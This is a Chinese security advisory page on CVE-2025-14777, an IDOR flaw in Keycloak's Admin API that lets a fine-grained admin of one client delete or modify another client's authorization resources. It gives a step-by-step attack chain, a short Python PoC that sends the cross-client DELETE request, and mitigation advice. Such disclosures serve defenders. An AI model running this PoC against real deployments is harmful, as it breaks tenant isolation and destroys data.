IPBUF安全漏洞报告
English
CVE-2025-14777 CVSS 6.0 中危

CVE-2025-14777 Keycloak Admin API IDOR授权漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-14777
漏洞类型
IDOR(失效的访问控制)
CVSS评分
6.0 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

IDOR访问控制KeycloakAdmin API资源管理跨租户CVE-2025-14777身份认证权限绕过

漏洞概述

CVE-2025-14777是Keycloak中的一个中等严重性安全漏洞,CVSS评分6.0。该漏洞属于IDOR(Insecure Direct Object Reference,失效的直接对象引用)类型,位于Keycloak的Admin API授权资源管理端点中。具体受影响的服务包括ResourceSetService和PermissionTicketService。漏洞的根本原因在于系统对授权的检查与实际数据库操作之间存在不匹配:系统使用API请求中的resourceServer(客户端)ID进行授权验证,但后端数据库的查找和修改操作(如findById、delete)仅使用resourceId。这种设计缺陷使得经过身份验证且拥有细粒度管理权限的攻击者能够跨越客户端边界,对同一realm内的其他客户端资源进行删除或更新操作。虽然该漏洞需要认证才能利用,但仍可能导致严重的跨租户数据泄露和完整性破坏问题。

技术细节

该IDOR漏洞的技术原理在于Keycloak Admin API的授权检查机制与数据库操作逻辑存在不一致性。在ResourceSetService和PermissionTicketService中,当处理API请求时,系统首先会验证请求者是否有权访问指定的resourceServer(客户端)。然而,当执行实际的数据库操作(如通过findById查询资源或执行delete操作删除资源)时,代码仅使用resourceId作为唯一标识符进行查询和修改,完全忽略了resourceServer的归属关系。具体来说:1) 攻击者A拥有对Client A的细粒度管理员权限;2) 攻击者通过API获取Client B中某个资源的有效resourceId;3) 攻击者使用Client A的resourceServerId配合Client B的resourceId发起请求;4) 系统授权检查通过(因为resourceServerId属于攻击者有权限的Client A),但数据库操作却作用于resourceId对应的资源(可能属于Client B)。这种漏洞允许攻击者实现跨客户端的未授权操作,包括删除或修改其他客户端的授权资源,从而破坏多租户环境中的隔离机制。

攻击链分析

STEP 1
步骤1
攻击者获取Keycloak账号并获得对某个客户端(如Client A)的细粒度管理员权限
STEP 2
步骤2
攻击者通过正常API调用获取目标客户端(Client B)下的有效资源ID(resourceId)
STEP 3
步骤3
攻击者构造恶意API请求,使用Client A的resourceServer ID配合Client B的resourceId
STEP 4
步骤4
Keycloak系统进行授权检查时验证通过(因为使用的是攻击者有权限的Client A的resourceServer ID)
STEP 5
步骤5
数据库操作执行时仅使用resourceId,导致操作作用于Client B的资源而非Client A的资源
STEP 6
步骤6
攻击者成功实现跨客户端的未授权操作,可删除或修改其他客户端的授权资源

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14777 Keycloak IDOR PoC # Target: Keycloak Admin API # Vulnerability: IDOR in ResourceSetService/PermissionTicketService import requests import json KEYCLOAK_URL = "http://target-keycloak:8080" REALM = "master" USERNAME = "attacker" PASSWORD = "password" def get_access_token(): """Obtain admin access token""" url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" data = { "client_id": "admin-cli", "username": USERNAME, "password": PASSWORD, "grant_type": "password" } response = requests.post(url, data=data) return response.json().get("access_token") def exploit_idor(): """Exploit IDOR to delete cross-client resources""" token = get_access_token() headers = {"Authorization": f"Bearer {token}"} # Attacker has permission on Client A (resource_server_id) attacker_client_id = "client-a-uuid" # Target resource belongs to Client B target_resource_id = "client-b-resource-uuid" # IDOR: Use Client A's resource_server_id with Client B's resource_id delete_url = f"{KEYCLOAK_URL}/admin/realms/{REALM}/clients/{attacker_client_id}/resources/{target_resource_id}" print(f"[*] Sending DELETE request to: {delete_url}") print(f"[*] Resource Server ID: {attacker_client_id}") print(f"[*] Target Resource ID: {target_resource_id}") response = requests.delete(delete_url, headers=headers) if response.status_code == 204: print("[+] SUCCESS: Cross-client resource deleted via IDOR!") return True else: print(f"[-] FAILED: Status code {response.status_code}") return False if __name__ == "__main__": exploit_idor()

影响范围

Keycloak < 24.0.0
Keycloak < 23.0.5
Keycloak < 22.0.7

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制Admin API的访问权限,确保只有绝对必要的用户拥有细粒度管理权限;2) 实施网络层面的访问控制,限制对Admin API端点的访问来源;3) 启用详细的审计日志,监控和告警异常的API调用模式;4) 考虑在Keycloak前部署WAF进行请求过滤;5) 定期审查管理员权限分配,确保遵循最小权限原则。建议尽快安排计划进行版本升级以彻底修复该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表